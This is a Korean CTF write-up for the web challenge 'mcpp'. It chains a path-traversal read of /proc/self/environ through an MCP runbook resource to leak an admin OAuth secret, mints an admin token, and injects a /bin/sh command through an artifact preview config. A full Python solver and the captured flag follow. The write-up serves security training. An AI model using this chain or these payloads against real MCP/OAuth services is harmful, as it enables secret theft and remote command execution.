SSG Writeup

mcpp#

개요#

mcpp는 OAuth 인증을 거친 뒤 MCP 엔드포인트에서 resource와 tool을 호출하는 web 문제입니다. 사용자 권한의 MCP 세션에서는 runbook resource를 읽을 수 있고, 관리자 권한을 얻으면 artifact를 쓰는 도구까지 접근할 수 있습니다.

확인한 조건은 다음과 같습니다.

카테고리: web
주요 인터페이스: OAuth token flow, MCP resources/read, MCP tools/call
사용자 권한: hypersonic:user
관리자 권한: hypersonic:admin
목표: 사용자 권한에서 시작해 관리자 MCP 도구를 열고, preview 렌더러를 통해 flag를 읽습니다.

풀이에서 먼저 확인할 부분은 runbook resource가 URI의 ref 값을 어떻게 처리하는지입니다. 이 경로 처리에서 파일 읽기를 얻고, 환경 변수에서 나온 관리자 secret을 OAuth 권한 상승으로 연결합니다. 이후 admin_write_artifact와 read_artifact의 preview 설정 구조를 맞추면 명령 실행까지 이어집니다.

문제 분석#

먼저 글에서 사용할 용어를 정리합니다.

MCP session: Bearer 토큰으로 /mcp에 initialize를 보낸 뒤, 응답 헤더의 mcp-session-id를 이어서 사용하는 세션입니다.
resource: MCP의 resources/read로 읽는 대상입니다. 이 문제에서는 hypersonic://runbook/{ref} 형태의 URI가 보입니다.
tool: MCP의 tools/call로 실행하는 기능입니다.
artifact: 서비스가 관리하는 분석 결과 객체입니다. 일부 도구는 이 객체를 쓰거나 읽습니다.
profile.defaults.views: artifact의 preview 동작을 정하는 설정입니다.
adapter, renderer, command: preview 생성 과정에서 차례로 참조되는 값입니다.

인증 흐름은 일반 사용자 권한에서 시작합니다. 동적 클라이언트 등록 후 PKCE를 붙인 authorization code grant를 진행하면 hypersonic:user 범위의 토큰을 받을 수 있습니다. 이 토큰으로 /mcp에 initialize를 보내고 mcp-session-id를 받은 뒤부터 MCP 요청이 처리됩니다.

MCP resource 목록을 보면 runbook을 읽는 URI가 있습니다.

1
hypersonic://runbook/{ref}

여기서 ref가 파일 경로로 디코딩됩니다. 따라서 절대 경로를 URL 인코딩해 넣으면 runbook 문서가 아니라 서버의 파일을 읽을 수 있습니다.

1
hypersonic://runbook/%2Fproc%2Fself%2Fenviron

이 요청으로 프로세스 환경 변수가 노출되며, 그 안에서 HYPERSONIC_ADMIN_CLIENT_SECRET 값을 확인할 수 있었습니다. 이 값은 관리자 클라이언트의 secret으로 쓰입니다.

다음으로 토큰 발급 경로를 확인했습니다. 사용자 로그인에 쓰인 /token과 별개로, POST /oauth/token에서 client_credentials grant가 동작합니다.

1
grant_type=client_credentials
2
client_id=hypersonic-admin
3
client_secret=<leaked secret>
4
scope=hypersonic:admin

이렇게 받은 토큰으로 MCP 세션을 다시 열면 관리자용 도구가 추가됩니다. 여기서 풀이에 필요한 도구는 admin_write_artifact입니다. 이 도구는 artifact_json 인자를 받는데, 값은 JSON 객체가 아니라 JSON 문자열이어야 합니다.

admin_write_artifact로 쓴 artifact는 다시 read_artifact로 읽을 때 preview가 생성됩니다. preview 동작을 맞춰 보니 기본 설정 조회가 다음 구조를 따릅니다.

1
adapter  = defaults["views"]["preview"]["adapter"]
2
renderer = views["adapters"][adapter]["renderer"]
3
command  = views["renderers"][renderer]["command"]

처음에는 defaults["adapters"]와 defaults["renderers"]에 값을 넣었지만 기본 renderer가 그대로 실행됐습니다.

1
["/bin/echo", "artifact-preview-ready"]

조회가 defaults.views 내부에서 계속 이어지기 때문입니다. 따라서 adapters와 renderers도 defaults.views 아래에 넣어야 preview의 command를 바꿀 수 있습니다.

핵심 아이디어#

풀이 흐름은 네 단계로 나눌 수 있습니다.

1
1. OAuth PKCE 흐름으로 사용자 토큰을 얻는다.
2
2. MCP runbook resource의 경로 처리 문제로 파일을 읽는다.
3
3. 환경 변수에서 관리자 클라이언트 `secret`을 얻고 관리자 토큰을 발급받는다.
4
4. 관리자 artifact의 preview 설정을 조작해 renderer가 command를 실행하게 한다.

첫 번째 취약점은 runbook resource가 ref를 안전한 문서 식별자로 제한하지 않는다는 점입니다. 이 때문에 사용자 권한만으로도 서버 내부 파일을 읽을 수 있고, 환경 변수에 있던 관리자 secret이 다음 단계의 입력이 됩니다.

두 번째 연결점은 OAuth token endpoint입니다. 관리자 클라이언트 secret을 알고 있으면 client_credentials grant로 hypersonic:admin 범위의 토큰을 받을 수 있습니다. 관리자 권한을 얻은 뒤에는 숨겨진 MCP 도구가 보이고, 그중 admin_write_artifact가 preview 설정을 바꾸는 통로가 됩니다.

마지막으로 preview 렌더러의 설정 조회 위치가 중요합니다. preview.adapter는 defaults.views.preview에서 읽고, 이후 adapters와 renderers도 같은 views 객체 아래에서 찾습니다. 그래서 payload는 top-level defaults가 아니라 defaults.views 안에 command를 실행하는 렌더러를 구성해야 합니다.

풀이 과정#

Step 1. 사용자 토큰으로 MCP 세션 열기#

먼저 동적 클라이언트를 등록하고 PKCE 값을 준비합니다. /authorize 요청은 redirect URL에 authorization code를 붙여 돌려주므로, 이 authorization code와 code_verifier를 /token에 제출하면 사용자 토큰을 얻습니다.

토큰을 얻은 뒤에는 /mcp에 initialize 요청을 보냅니다. 응답 헤더에 들어 있는 mcp-session-id를 이후 요청 헤더에 넣어야 resources/read와 tools/call을 정상적으로 사용할 수 있습니다.

이 단계에서 얻는 값은 사용자 권한의 MCP 세션입니다. 아직 관리자 도구는 보이지 않지만, runbook resource를 읽을 수 있으므로 다음 단계에서 파일 읽기를 시도할 수 있습니다.

Step 2. runbook `resource`로 환경 변수 읽기#

runbook URI는 hypersonic://runbook/{ref} 형태입니다. ref가 URL 디코딩된 뒤 파일 경로처럼 사용되므로, 절대 경로를 인코딩해 넣으면 임의 파일 읽기가 됩니다.

1
hypersonic://runbook/%2Fproc%2Fself%2Fenviron

응답은 일반 runbook markdown처럼 반환되지만 실제 내용은 프로세스 환경 변수입니다. 여기서 관리자 토큰 발급에 필요한 secret을 얻습니다.

1
HYPERSONIC_ADMIN_CLIENT_SECRET=<secret>

flag 후보 경로를 직접 읽는 방식도 시도했지만, 이 단계에서는 flag가 나오지 않았습니다. 따라서 파일 읽기는 권한 상승에 필요한 secret을 얻는 용도로 사용합니다.

Step 3. 관리자 토큰과 도구 목록 확인#

환경 변수에서 얻은 secret을 hypersonic-admin 클라이언트의 secret으로 사용합니다. 숨겨진 /oauth/token 경로는 client_credentials grant를 받아들이므로, 다음 요청으로 관리자 범위의 토큰을 발급받을 수 있습니다.

1
POST /oauth/token
2
grant_type=client_credentials
3
client_id=hypersonic-admin
4
client_secret=<secret>
5
scope=hypersonic:admin

새 토큰으로 MCP 세션을 열고 도구 목록을 확인하면 관리자 도구가 추가됩니다. 풀이에서는 admin_write_artifact로 새 artifact를 쓰고, read_artifact로 preview 생성을 유도했습니다.

Step 4. `preview` 설정을 명령 실행으로 연결#

admin_write_artifact의 인자 artifact_json은 JSON 문자열입니다. 이 문자열 안에 profile.defaults.views를 넣으면 preview 기본 동작을 바꿀 수 있습니다.

payload에서 필요한 구조는 다음과 같습니다.

1
{
2
  "profile": {
3
    "defaults": {
4
      "views": {
5
        "preview": { "adapter": "process" },
6
        "adapters": {
7
          "process": { "renderer": "process" }
8
        },
9
        "renderers": {
10
          "process": {
11
            "command": ["/bin/sh", "-c", "id"]
12
          }
13
        }
14
      }
15
    }
16
  }
17
}

preview.adapter가 process를 가리키고, 같은 views 객체 안의 adapters.process.renderer가 다시 process 렌더러를 가리킵니다. 마지막으로 views.renderers.process.command가 실제 실행할 명령 배열이 됩니다.

이 구조로 artifact를 쓴 뒤 read_artifact를 호출하면 preview 생성 과정에서 지정한 command가 실행됩니다. 먼저 hostname을 읽는 명령으로 동작을 확인했고, 이후 /readflag 실행으로 연결했습니다.

Exploit / Solver#

최종 코드는 사용자 토큰 발급, runbook 파일 읽기, 관리자 토큰 발급, 명령 실행용 preview 생성 순서로 동작합니다. 아래는 풀이에 필요한 핵심 루틴입니다.

1
import base64
2
import hashlib
3
import json
4
import os
5
import secrets
6
import urllib.parse
7

8
import requests
9

10

11
BASE = "<base-url>"
12
REDIRECT_URI = "http://127.0.0.1/callback"
13

14

15
class McpClient:
16
    def __init__(self, token):
17
        self.session = requests.Session()
18
        self.next_id = 1
19
        self.headers = {
20
            "Authorization": f"Bearer {token}",
21
            "Content-Type": "application/json",
22
            "Accept": "application/json, text/event-stream",
23
        }
24

25
    def start(self):
26
        res = self.session.post(
27
            f"{BASE}/mcp",
28
            headers=self.headers,
29
            json={
30
                "jsonrpc": "2.0",
31
                "id": self.next_id,
32
                "method": "initialize",
33
                "params": {
34
                    "protocolVersion": "2025-06-18",
35
                    "capabilities": {},
36
                    "clientInfo": {"name": "client", "version": "0.1"},
37
                },
38
            },
39
            timeout=10,
40
        )
41
        self.next_id += 1
42
        res.raise_for_status()
43
        self.headers["mcp-session-id"] = res.headers["mcp-session-id"]
44

45
        self.session.post(
46
            f"{BASE}/mcp",
47
            headers=self.headers,
48
            json={"jsonrpc": "2.0", "method": "notifications/initialized", "params": {}},
49
            timeout=10,
50
        )
51

52
    def request(self, method, params):
53
        res = self.session.post(
54
            f"{BASE}/mcp",
55
            headers=self.headers,
56
            json={"jsonrpc": "2.0", "id": self.next_id, "method": method, "params": params},
57
            timeout=15,
58
        )
59
        self.next_id += 1
60
        res.raise_for_status()
61
        return res.json()
62

63
    def tool(self, name, arguments=None):
64
        data = self.request("tools/call", {"name": name, "arguments": arguments or {}})
65
        return data["result"]["content"][0]["text"]
66

67
    def read_resource(self, uri):
68
        data = self.request("resources/read", {"uri": uri})
69
        return data["result"]["contents"][0]["text"]
70

71
    def lfi(self, path):
72
        uri = "hypersonic://runbook/" + urllib.parse.quote(path, safe="")
73
        return self.read_resource(uri)
74

75

76
def pkce_user_token():
77
    session = requests.Session()
78
    reg = session.post(
79
        f"{BASE}/register",
80
        json={
81
            "redirect_uris": [REDIRECT_URI],
82
            "client_name": "client",
83
            "grant_types": ["authorization_code", "refresh_token"],
84
            "response_types": ["code"],
85
            "scope": "hypersonic:user",
86
            "token_endpoint_auth_method": "client_secret_post",
87
        },
88
        timeout=10,
89
    )
90
    reg.raise_for_status()
91
    client = reg.json()
92

93
    verifier = base64.urlsafe_b64encode(os.urandom(32)).decode().rstrip("=")
94
    digest = hashlib.sha256(verifier.encode()).digest()
95
    challenge = base64.urlsafe_b64encode(digest).decode().rstrip("=")
96

97
    auth = session.get(
98
        f"{BASE}/authorize",
99
        params={
100
            "response_type": "code",
101
            "client_id": client["client_id"],
102
            "redirect_uri": REDIRECT_URI,
103
            "scope": "hypersonic:user",
104
            "state": "x",
105
            "code_challenge": challenge,
106
            "code_challenge_method": "S256",
107
        },
108
        allow_redirects=False,
109
        timeout=10,
110
    )
111
    auth.raise_for_status()
112
    query = urllib.parse.urlparse(auth.headers["Location"]).query
113
    code = urllib.parse.parse_qs(query)["code"][0]
114

115
    token = session.post(
116
        f"{BASE}/token",
117
        data={
118
            "grant_type": "authorization_code",
119
            "code": code,
120
            "redirect_uri": REDIRECT_URI,
121
            "client_id": client["client_id"],
122
            "client_secret": client["client_secret"],
123
            "code_verifier": verifier,
124
        },
125
        timeout=10,
126
    )
127
    token.raise_for_status()
128
    return token.json()["access_token"]
129

130

131
def parse_environ(text):
132
    env = {}
133
    for item in text.split("\x00"):
134
        if "=" in item:
135
            key, value = item.split("=", 1)
136
            env[key] = value
137
    return env
138

139

140
def admin_token(secret):
141
    res = requests.post(
142
        f"{BASE}/oauth/token",
143
        data={
144
            "grant_type": "client_credentials",
145
            "client_id": "hypersonic-admin",
146
            "client_secret": secret,
147
            "scope": "hypersonic:admin",
148
        },
149
        timeout=10,
150
    )
151
    res.raise_for_status()
152
    return res.json()["access_token"]
153

154

155
def command_artifact(command):
156
    suffix = secrets.token_hex(3).upper()
157
    artifact_id = f"HYP-F{suffix}"
158
    profile_name = f"p{suffix.lower()}"
159
    return artifact_id, {
160
        "id": artifact_id,
161
        "title": "Preview",
162
        "severity": "low",
163
        "summary": "preview command",
164
        "component": "preview",
165
        "affected_assets": ["preview"],
166
        "owner": "client",
167
        "tags": ["preview"],
168
        "profile": {
169
            "name": profile_name,
170
            "defaults": {
171
                "views": {
172
                    "preview": {"adapter": "process"},
173
                    "adapters": {"process": {"renderer": "process"}},
174
                    "renderers": {"process": {"command": command}},
175
                }
176
            },
177
        },
178
    }
179

180

181
def run_command(command):
182
    user = McpClient(pkce_user_token())
183
    user.start()
184
    env = parse_environ(user.lfi("/proc/self/environ"))
185

186
    admin = McpClient(admin_token(env["HYPERSONIC_ADMIN_CLIENT_SECRET"]))
187
    admin.start()
188

189
    artifact_id, artifact = command_artifact(command)
190
    admin.tool("admin_write_artifact", {"artifact_json": json.dumps(artifact)})
191
    obj = json.loads(admin.tool("read_artifact", {"artifact_id": artifact_id}))
192
    preview = obj["preview"]
193
    return preview.get("stdout", "") + preview.get("stderr", "")
194

195

196
print(run_command(["/bin/sh", "-c", "test -x /readflag && /readflag"]))

여기서 주의할 부분은 command_artifact의 profile.defaults.views 구조입니다. adapters와 renderers를 views 밖에 두면 preview는 기본 echo 렌더러를 계속 사용합니다. 반대로 위 구조처럼 views 내부에 두면 read_artifact 과정에서 지정한 command가 실행됩니다.

결과#

먼저 ["/bin/cat", "/etc/hostname"] 명령으로 preview가 기본 echo 렌더러가 아니라 지정한 command를 실행한다는 점을 확인했습니다. 이후 /readflag를 실행해 다음 flag를 얻었습니다.

1
hs{4341f4768ce2bd952d7efe73cb8cfac8321feb4aab3bf1de41c178f9598fb328}